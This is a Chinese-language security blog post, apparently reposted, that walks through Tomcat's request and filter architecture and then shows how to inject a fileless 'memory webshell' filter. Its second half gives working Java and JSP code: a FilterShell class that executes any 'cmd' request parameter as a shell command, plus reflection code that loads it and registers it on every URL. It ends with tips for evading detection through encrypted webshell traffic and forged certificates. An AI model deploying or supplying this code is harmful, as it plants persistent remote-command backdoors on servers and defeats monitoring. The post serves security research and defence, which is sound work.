Tomcat容器攻防笔记之Filter内存马

admin 2023年6月16日02:35:04评论21 views字数 9021阅读30分4秒阅读模式

欢迎光临鲸落的杂货铺Tomcat容器攻防笔记之Filter内存马

Tomcat容器攻防笔记之Filter内存马



背景:
基于现阶段红蓝对抗强度的提升,诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段,能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。
近几年来,反序列化漏洞的盛行一时,由于其天然的编码非明文属性,对绕过多种安全检测手段颇有效果,结合当下形势,对Tomcat容器如何利用过滤器实现无文件落地的内存Webshell进行研究学习。

 



声明

  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,此文仅作交流学习用途。

 



 

概念:

  援引官方文档对于javax.servlet.Filter接口的描述,针对Filter进行以下几点阐述:

 

 

Tomcat容器攻防笔记之Filter内存马

图1  Filter接口描述

 

一、Filter是什么?

   “A filter is an object that performs filtering tasks on either the request to a resource (a servlet or static content), or on the response from a resource, or both.”

 Filter也称过滤器,是针对访问Servlet、静态资源的请求或响应进行过滤操作的对象。

 

二、Filter如何被创建?

     “Filters are configured in the deployment descriptor of a web application.”

  Filter可在/WEB-INF/web.xml文件中进行配置:

    Filter-name:过滤器名称

    Filter-class:过滤器类名

    Url-pattern:匹配请求路径的模式 


Tomcat容器攻防笔记之Filter内存马

图2  Filter配置

 

三、FilterTomcat处理请求响应的流程中,处于哪个环节?

  首先对Tomcat处理请求的流程进行了解:

 

Tomcat容器攻防笔记之Filter内存马

图3  Server架构

 

Tomcat容器攻防笔记之Filter内存马

图4  Server.xml配置文件


在Tomcat中,最顶层的容器是Server,一个Tomcat仅有一个Server,指代整个Web服务器。

Server当中,包含了多个Service用以提供具体的服务。

Service当中,又包含了多个Connector以及Container组件。

  

 

Tomcat容器攻防笔记之Filter内存马



图5  Connector架构

 

Tomcat容器攻防笔记之Filter内存马

图6  Connector配置细节 


  Connector,也称为连接器,用于接受请求并将请求封装成RequestResponse对象。

  在Connector中,包含了多个组件,不同的ProtocolHandler对应不同的协议解析,并以单独一个Connector形式存在,在server.xml配置文件当中,默认存在处理HTTP/1.1协议的Connector,除此之外,Tomcat还在注释中提供了处理AJP/1.3协议、SSL/TLS HTTP/1.1协议的Connector。(图6标签中protocol的值代表用于解析请求协议)

  

  ProtocolHandler组件中,又包含了三个组件:

  Endpoint:负责处理底层Socket的网络连接,读取请求的字节码,实现TCP/IP协议

Aceptor:用于监听请求

Handler:用于处理接收到的Socket流,并随后调用Processor进行处理

AsyncTimeout:用于检查异步Request的超时

Processor:负责完成应用层的协议如HTTP/1.1AJP/1.3的解析工作

Adaptor:负责将解析后的org.apache.coyote.Request对象或Response对象,适配为可供Container调用的继承了ServletRequest接口、ServletResponse接口的对象。


  请求经Connector处理完毕后,传递给Container进行处理:


Tomcat容器攻防笔记之Filter内存马

图7  Engine架构

 

Tomcat容器攻防笔记之Filter内存马

图8  Engine配置细节

 

  在Engine当中,存在以下几个逐层包含的组件:

  Host:代表一个虚拟主机

  Context:代表Webapps(默认应用文件夹,可更改)里单独某个Web应用,与/WEB-INF/web.xml相对应

  Wrapper:每个Wrapper中封装了一个Servlet

 

  我们可以在配置文件中窥探出Tomcat架构其一角,Engine可拥有多个Host,代表不同的虚拟主机,使得Tomcat具备承担多个域名服务的能力,图8标签中的appBase指代放置Web应用项目的文件夹名称,autoDeploy指代是否开启WAR包的自动装配功能

 

Tomcat容器攻防笔记之Filter内存马

图9  PipeLine处理流程

  

  在Container中,使用PipeLine-Value管道的方式处理请求,包含以下四个子容器:

StandardEngineValue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue

    当执行到最后的StandardWrapperValue时,将通过ApplicationFilterFactory对象的createFilterChain()方法,创建FilterChain(过滤链),并调用FilterChain.doFilter()方法,对请求进行过滤操作。

 

Tomcat容器攻防笔记之Filter内存马

10  createFilterChain()方法


  综上所述,当客户端发起请求后,首先来到Connector组件,完成底层TCP/IP协议、应用层协议的解析工作,生成org.apache.coyote.Request对象,并将请求路径、请求头部、请求参数等数据保存其中,随后通过Adaptor组件适配为继承了javax.servlet.ServletRequest接口的Request对象,根据请求信息交由对应的域名(Host)、对应的Context(Web应用程序)、对应的Wrapper(Filter过滤链和Servlet)进行处理并响应,当响应处理完成后,最终交由Connector返回给客户端。

  以上概念及流程叙述完毕,话不多说,开启IDEA调试跟我一起看看代码细节。

 

四、Filter实例及其映射存储在何处?

  是否记得在第二点Filter如何被创建中所提及的,Filter一般在web.xml中进行配置,而继承了org.apache.cataline.Context接口的org.apache.catalina.core.StandardContext容器类负责存储整个Web应用程序的数据和对象,并加载了web.xml中配置的多个ServletFilter对象以及它们的映射关系,因而我们可以从StandardContext容器类中着手。

 

  跟进StandardContext容器类的代码可以发现,与Filter有关的成员变量有以下三个:

private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();

  filterConfigs 变量存储了filter名称与相应的ApplicationFilterConfig对象,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息

 

Tomcat容器攻防笔记之Filter内存马

11  ApplicationFilterConfig

 

private HashMap<String, FilterDef> filterDefs = new HashMap();

  filterDefs 变量存储了filter名称与相应FilterDef的对象,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

 

Tomcat容器攻防笔记之Filter内存马

12  FilterDef

 

private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

 

Tomcat容器攻防笔记之Filter内存马

图13  filterMaps集合

 

 filterMaps 中的FilterMap则记录了不同filterUrlPattern的映射关系

小结一下:

 filterMaps变量:含有所有filterURL映射关系

    filterDefs变量: 含有所有filter包括实例在内等变量

    filterConfigs 变量:含有所有与filter对应的filterDef信息及filter实例,并对filter进行管理

 

五、FilterChain过滤链的创建及调用过程?


续接上述内容,我们来看
org.apache.catalina.core.ApplicationFilterChain#createFilterChain(),FilterChain的创建过程。


 

Tomcat容器攻防笔记之Filter内存马

图14  createFilterChain()方法入口

 

Tomcat容器攻防笔记之Filter内存马

图15  createFilterChain()方法细节

 

  获取StandardContext对象,关键部分在第二红框内,遍历StandardContext.filterMaps得到filterURL的映射关系并通过matchDispatcher()matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。

 

Tomcat容器攻防笔记之Filter内存马

图16  调用过滤链

 

  当遍历结束后,返回filterChain对象至StandardWrapperValue实例,并调用filterChain.doFilter()方法,对请求或响应进行过滤操作。

 

六、Filter内存马的注入

花了老半天功夫终于来到了最关心的地方。经过一系列分析,得知createFilterChain()通过遍历filterMaps,根据请求的URLfilterMaps中匹配filter,并在filterConfigs中找到filter的实例,最终创建filterChain。因此,我们只需要向StandardContext实例的filterMapsfilterDefsfilterConfigs中添加恶意Filter相关参数,即可完成Filter马的注入。

借鉴于potatso前辈《tomcat结合shiro无文件webshell的技术研究以及检测方法》

https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg

1.编写恶意Filter类,转化为字节码并进行Base64编码(java8后提供java.util.Base64


import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.util.Scanner;
public class FilterShell implements Filter{
public void init(FilterConfig filterConfig) throws ServletException { }
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response;if (req.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\A");String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); } filterChain.doFilter(request, response); }
public void destroy() { }
public static void main(String[] args) throws IOException { InputStream in = FilterShell.class.getClassLoader().getResourceAsStream("FilterShell.class"); byte[] bytes = new byte[in.available()];in.read(bytes); System.out.println(java.util.Base64.getEncoder().encodeToString(bytes)); }}

 

2.注入恶意Filter类

  获取ClassLoader实例,并通过反射得到ClassLoader类的defineClass()方法,将传入的恶意Filter类字节码,转化为Class注入至目标环境

 

Tomcat容器攻防笔记之Filter内存马

图17  java.lang.ClassLoader#defineClass()

 

<%//  获取当前ClassLoaderjava.lang.ClassLoader classLoader = (java.lang.ClassLoader) Thread.currentThread().getContextClassLoader();
// 由于defineClass方法的权限修饰符并非public,需通过反射得到java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);defineClass.setAccessible(true);String evil_base64 = “恶意Filter类的base64编码”;byte[] evil_bytes = java.util.Base64.getDecoder().decode(evil_base64);
// 加载字节码,注入恶意Filter类defineClass.invoke(classLoader, evil_bytes, 0, evil_bytes.length);


3.获取StandardContext实例

借鉴于Litch1前辈Tomcat的一种通用回显方法研究》
https://zhuanlan.zhihu.com/p/114625962

 

Tomcat容器攻防笔记之Filter内存马

图18  StandardContext实例存储位置信息

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();org.apache.catalina.core.StandardContext standardContext = standardroot.getContext();


4.向filterMaps添加url映射关系


Tomcat容器攻防笔记之Filter内存马

图19  StandardContext#addFilterMap及addFilterDef方法

 

  在standardContext类中已提供addFilterMap方法,同时关注到this.validateFilterMap()方法,跟进查看

 

Tomcat容器攻防笔记之Filter内存马

图20  validateFilterMap()方法细节

 

  该方法会在当前standardContext实例中的filterDefs检查是否存在所添加的filterName,因此我们需先往standardContext.filterDefs中添加我们的filterDefstandardContext类提供了addFilterDef方法可供调用。

 

// 添加filterDef,先前已注入恶意Filter类,可调用Class.forName()获取javax.servlet.Filter filterShell = (javax.servlet.Filter) Class.forName("FilterShell").newInstance();org.apache.tomcat.util.descriptor.web.FilterDef filterDef = new org.apache.tomcat.util.descriptor.web.FilterDef();filterDef.setFilterName("Filtershell");//可自行命名filterDef.setFilter(filterShell);standardContext.addFilterDef(filterDef);standardContext.addFilterMap(filterMap);
// 实例化filterMap,filterMap#setFilterName()和filterMap#addURLPattern()都是public方法org.apache.tomcat.util.descriptor.web.FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap();filterMap.setFilterName("Filtershell");filterMap.addURLPattern("/*");

 

Tomcat容器攻防笔记之Filter内存马

图21  FilterMap#setFilterName及addURLPattern方法

 

5.实例化ApplicationFilterConfig,向filterConfigs添加<String, ApplicationFilterConfig>

 

Tomcat容器攻防笔记之Filter内存马

图22  ApplicationFilterConfig类

 

Tomcat容器攻防笔记之Filter内存马

图23  filterConfigs变量


<%// 反射获取filterConfigs java.lang.reflect.Field filterConfigsF = standardContext.getClass().getDeclaredField("filterConfigs");filterConfigsF.setAccessible(true);java.util.Map filterConfigs = (java.util.Map) filterConfigsF.get(standardContext);
// 由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigsjava.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructors()[0];constructor.setAccessible(true);filterConfigs.put("Filtershell", constructor.newInstance(standardContext, filterDef));

 

6.注入完成后,验证Filter内存马

 

Tomcat容器攻防笔记之Filter内存马

图24  whoami命令

 

Tomcat容器攻防笔记之Filter内存马

图25  netstat命令

 



末言:  

  以上获取StandardContext实例的方法不适用于Tomcat7利用反序化漏洞、代码执行漏洞、文件上传漏洞,完成Filter内存马的注入后,可结合其他攻击手法如采用冰蝎的AES动态加密Webshell、使用伪造的HTTPS证书进行流量加密或自定义编解码方式,进而达到流量混淆规避监测等效果。然一法通,万剑归宗,在设计理念和架构思想较为统一的情况下,可利用该思路扩展Tomcat容器甚至其他Web容器、框架的攻防方法。以上行文,难免存在谬误,后续将逐渐完善,整合和分析更多的Tomcat容器攻防方式。

 



Tomcat容器攻防笔记之Filter内存马

原文始发于微信公众号(鲸落的杂货铺):Tomcat容器攻防笔记之Filter内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月16日02:35:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat容器攻防笔记之Filter内存马http://cn-sec.com/archives/941157.html

发表评论

匿名网友 填写信息